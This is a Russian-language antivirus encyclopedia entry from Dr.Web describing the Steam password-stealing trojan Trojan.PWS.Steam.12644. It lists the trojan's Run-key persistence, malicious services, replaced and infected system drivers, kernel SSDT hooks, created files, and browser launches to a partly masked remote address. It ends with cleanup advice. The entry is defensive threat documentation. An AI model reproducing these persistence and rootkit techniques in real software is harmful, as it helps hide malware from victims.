Для корректной работы нашего сайта необходимо включить поддержку JavaScript в вашем браузере.
Trojan.PWS.Steam.12644
Добавлен в вирусную базу Dr.Web:
2016-10-30
Описание добавлено:
2016-10-30
Техническая информация
Для обеспечения автозапуска и распространения:
Модифицирует следующие ключи реестра:
[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] '82ecfef53e3a7c68.vbs' = '%WINDIR%\Temp\82ecfef53e3a7c68.vbs'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] '82ecfef53e3a7c68.vbs' = '%TEMP%\82ecfef53e3a7c68.vbs'
[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] '82ecfef53e3a7c68.vbs' = '%TEMP%\82ecfef53e3a7c68.vbs'
Создает следующие сервисы:
[<HKLM>\SYSTEM\ControlSet001\Services\yurip] 'Start' = '00000001'
[<HKLM>\SYSTEM\ControlSet001\Services\yurip] 'ImagePath' = 'system32\DRIVERS\tcpip.sys'
[<HKLM>\SYSTEM\ControlSet001\Services\yurip] 'ImagePath' = '<DRIVERS>\yurip.sys'
[<HKLM>\SYSTEM\ControlSet001\Services\jwivs] 'ImagePath' = '<DRIVERS>\jwivs.sys'
[<HKLM>\SYSTEM\ControlSet001\Services\0xe739427b43a4] 'ImagePath' = '%TEMP%\427b43a4.sys'
[<HKLM>\SYSTEM\ControlSet001\Services\jwivs] 'Start' = '00000001'
[<HKLM>\SYSTEM\ControlSet001\Services\jwivs] 'ImagePath' = 'system32\DRIVERS\ipsec.sys'
Подменяет следующие исполняемые системные файлы:
<DRIVERS>\intelppm.sys
<DRIVERS>\rdpcdd.sys
<DRIVERS>\termdd.sys
<DRIVERS>\serial.sys
<DRIVERS>\mouclass.sys
<DRIVERS>\kbdclass.sys
<DRIVERS>\afd.sys
<DRIVERS>\vga.sys
<DRIVERS>\netbt.sys
<DRIVERS>\i8042prt.sys
<DRIVERS>\imapi.sys
<DRIVERS>\tcpip.sys
<DRIVERS>\rasacd.sys
<DRIVERS>\redbook.sys
<DRIVERS>\ipsec.sys
<DRIVERS>\cdrom.sys
Заражает следующие исполняемые файлы:
<DRIVERS>\intelppm.sys
<DRIVERS>\RDPCDD.sys
<DRIVERS>\termdd.sys
<DRIVERS>\serial.sys
<DRIVERS>\mouclass.sys
<DRIVERS>\kbdclass.sys
<DRIVERS>\afd.sys
<DRIVERS>\vga.sys
<DRIVERS>\netbt.sys
<DRIVERS>\i8042prt.sys
<DRIVERS>\imapi.sys
<DRIVERS>\tcpip.sys
<DRIVERS>\rasacd.sys
<DRIVERS>\redbook.sys
<DRIVERS>\ipsec.sys
<DRIVERS>\cdrom.sys
Вредоносные функции:
Создает и запускает на исполнение:
'<SYSTEM32>\wscript.exe' "%TEMP%\82ecfef53e3a7c68.vbs"
Запускает на исполнение:
'%ProgramFiles%\Internet Explorer\IEXPLORE.EXE' http://19#.#23.36.108/_diag.php?os##############################################################################
'%ProgramFiles%\Internet Explorer\IEXPLORE.EXE' http://19#.#23.36.108/_diag.php?os###########################################################
'%ProgramFiles%\Internet Explorer\IEXPLORE.EXE' http://19#.#23.36.108/_diag.php?os##########################################################
'%ProgramFiles%\Internet Explorer\IEXPLORE.EXE' http://19#.#23.36.108/_diag.php?os###############################################################
'<SYSTEM32>\cmd.exe' /c "<Текущая директория>\548f6882.BAT"
'%ProgramFiles%\Internet Explorer\IEXPLORE.EXE' http://19#.#23.36.108/_diag.php?os#########################################################
'%ProgramFiles%\Internet Explorer\IEXPLORE.EXE' http://19#.#23.36.108/_diag.php?os###########################################################################################################
Перехватывает следующие функции в SSDT (System Service Descriptor Table):
NtQueryDirectoryFile, драйвер-обработчик: unknown
NtOpenKey, драйвер-обработчик: unknown
NtQueryInformationFile, драйвер-обработчик: unknown
NtShutdownSystem, драйвер-обработчик: unknown
NtSetInformationFile, драйвер-обработчик: unknown
NtOpenFile, драйвер-обработчик: unknown
NtCreateFile, драйвер-обработчик: unknown
NtClose, драйвер-обработчик: unknown
NtCreateKey, драйвер-обработчик: unknown
NtEnumerateKey, драйвер-обработчик: unknown
NtDeleteFile, драйвер-обработчик: unknown
Изменения в файловой системе:
Создает следующие файлы:
<SYSTEM32>\66c3794a38.bin
<SYSTEM32>\66ca9ee655.bin
%WINDIR%\Temp\82ecfef53e3a7c68.vbs
<SYSTEM32>\66bbc918c9.bin
<SYSTEM32>\66d6ea48d0.bin
<SYSTEM32>\66d993bc1c.bin
<SYSTEM32>\66cea236d4.bin
<SYSTEM32>\66d2f406ce.bin
<SYSTEM32>\609a9ee073.bin
<SYSTEM32>\5a06dd2da0
<SYSTEM32>\5a082d2461
<SYSTEM32>\59faf93c1d
<SYSTEM32>\59fc3ba02a
%TEMP%\427b43a4.sys
<Текущая директория>\548f6882.BAT
<SYSTEM32>\5a1385d88d
<SYSTEM32>\5a14b3f4f7
%HOMEPATH%\Local Settings\<INETFILES>\Content.IE5\KHMHGZ4F\_diag[1].php
%HOMEPATH%\Local Settings\<INETFILES>\Content.IE5\KHMHGZ4F\_diag[2].php
<DRIVERS>\jwivs.sys
<DRIVERS>\yurip.sys
%HOMEPATH%\Local Settings\<INETFILES>\Content.IE5\2VAZY7AN\_diag[1].php
%HOMEPATH%\Local Settings\<INETFILES>\Content.IE5\2VAZY7AN\_diag[2].php
%HOMEPATH%\Local Settings\<INETFILES>\Content.IE5\U98D4X8H\_diag[1].php
%HOMEPATH%\Local Settings\<INETFILES>\Content.IE5\U98D4X8H\_diag[2].php
<SYSTEM32>\67005b347d.bin
<SYSTEM32>\66e5d36275.bin
<SYSTEM32>\66e946a2e2.bin
<SYSTEM32>\66df8d805d.bin
<SYSTEM32>\66e2fde35a.bin
<SYSTEM32>\66f6376558.bin
<SYSTEM32>\66fc2d05cd.bin
<SYSTEM32>\66ed4a04b2.bin
<SYSTEM32>\66f26ec21a.bin
<SYSTEM32>\5964b75590
<SYSTEM32>\597624911e
<SYSTEM32>\594c40cbad
<SYSTEM32>\5962de8776
<SYSTEM32>\59858cd2c6
<SYSTEM32>\59920d53e7
<SYSTEM32>\59779310df
<SYSTEM32>\5984099d18
<SYSTEM32>\594aca0267
<SYSTEM32>\58805cac1a
<SYSTEM32>\5881a59cd8
%TEMP%\82ecfef53e3a7c68.vbs
%WINDIR%\Temp\47a457dbf07c10
<SYSTEM32>\5886f142df
<SYSTEM32>\5888e647bf
<SYSTEM32>\58846c82b0
<SYSTEM32>\5885a3700e
<SYSTEM32>\59d8328452
<SYSTEM32>\59d9263403
<SYSTEM32>\59ce879e9d
<SYSTEM32>\59cf85425a
<SYSTEM32>\59efccc569
<SYSTEM32>\59f0c806d0
<SYSTEM32>\59e15d86aa
<SYSTEM32>\59e2b1081d
<SYSTEM32>\59c554327e
<SYSTEM32>\59a03266f6
<SYSTEM32>\59ab5e3d79
<SYSTEM32>\5993839566
<SYSTEM32>\599ef14fa9
<SYSTEM32>\59bae1f35c
<SYSTEM32>\59c4675018
<SYSTEM32>\59ace3ff29
<SYSTEM32>\59b9eb9969
Удаляет следующие файлы:
Перемещает следующие системные файлы:
<DRIVERS>\intelppm.sys в <DRIVERS>\intelppm.sys59d10c0761
<DRIVERS>\rdpcdd.sys в <DRIVERS>\RDPCDD.sys59da8e22ba
<DRIVERS>\termdd.sys в <DRIVERS>\termdd.sys59bc6c097a
<DRIVERS>\serial.sys в <DRIVERS>\serial.sys59c6d9443e
<DRIVERS>\mouclass.sys в <DRIVERS>\mouclass.sys59fe08af45
<DRIVERS>\kbdclass.sys в <DRIVERS>\kbdclass.sys5a09f47307
<DRIVERS>\afd.sys в <DRIVERS>\afd.sys59e4628d30
<DRIVERS>\vga.sys в <DRIVERS>\vga.sys59f39041c3
<DRIVERS>\netbt.sys в <DRIVERS>\netbt.sys5968feac0f
<DRIVERS>\i8042prt.sys в <DRIVERS>\i8042prt.sys597a2e725d
<DRIVERS>\imapi.sys в <DRIVERS>\imapi.sys593e2e6334
<DRIVERS>\tcpip.sys в <DRIVERS>\tcpip.sys594ebac088
<DRIVERS>\rasacd.sys в <DRIVERS>\rasacd.sys59a25a9c32
<DRIVERS>\redbook.sys в <DRIVERS>\redbook.sys59af4b9a39
<DRIVERS>\ipsec.sys в <DRIVERS>\ipsec.sys5988192517
<DRIVERS>\cdrom.sys в <DRIVERS>\cdrom.sys5995d178ea
Самоудаляется.
Другое:
Ищет следующие окна:
ClassName: 'MS_AutodialMonitor' WindowName: ''
ClassName: 'MS_WebcheckMonitor' WindowName: ''
ClassName: '' WindowName: ''
ClassName: 'Shell_TrayWnd' WindowName: ''
Рекомендации по лечению
Windows
macOS
Linux
Android
В случае если операционная система способна загрузиться (в штатном режиме или режиме защиты от сбоев), скачайте лечащую утилиту Dr.Web CureIt! и выполните с ее помощью полную проверку вашего компьютера, а также используемых вами переносных носителей информации.
Если загрузка операционной системы невозможна, измените настройки BIOS вашего компьютера, чтобы обеспечить возможность загрузки ПК с компакт-диска или USB-накопителя. Скачайте образ аварийного диска восстановления системы Dr.Web® LiveDisk или утилиту записи Dr.Web® LiveDisk на USB-накопитель, подготовьте соответствующий носитель. Загрузив компьютер с использованием данного носителя, выполните его полную проверку и лечение обнаруженных угроз.
Выполните полную проверку системы с использованием Антивируса Dr.Web Light для macOS. Данный продукт можно загрузить с официального сайта Apple App Store .
Если мобильное устройство функционирует в штатном режиме, загрузите и установите на него бесплатный антивирусный продукт Dr.Web для Android Light . Выполните полную проверку системы и используйте рекомендации по нейтрализации обнаруженных угроз.
Если мобильное устройство заблокировано троянцем-вымогателем семейства Android.Locker (на экране отображается обвинение в нарушении закона, требование выплаты определенной денежной суммы или иное сообщение, мешающее нормальной работе с устройством), выполните следующие действия:
загрузите свой смартфон или планшет в безопасном режиме (в зависимости от версии операционной системы и особенностей конкретного мобильного устройства эта процедура может быть выполнена различными способами; обратитесь за уточнением к инструкции, поставляемой вместе с приобретенным аппаратом, или напрямую к его производителю);
после активации безопасного режима установите на зараженное устройство бесплатный антивирусный продукт Dr.Web для Android Light и произведите полную проверку системы, выполнив рекомендации по нейтрализации обнаруженных угроз;
выключите устройство и включите его в обычном режиме.
Подробнее о Dr.Web для Android
Демо бесплатно на 14 дней
Выдаётся при установке
Поздравляем!
Обменяйте их на скидку до 50% на покупку Dr.Web.
Получить скидку
Скачайте Dr.Web для Android
Бесплатно на 3 месяца
Все компоненты защиты
Продление демо через AppGallery/Google Pay
Если Вы продолжите использование данного сайта, это означает, что Вы даете согласие на использование нами Cookie-файлов и иных технологий по сбору статистических сведений о посетителях. Подробнее
OK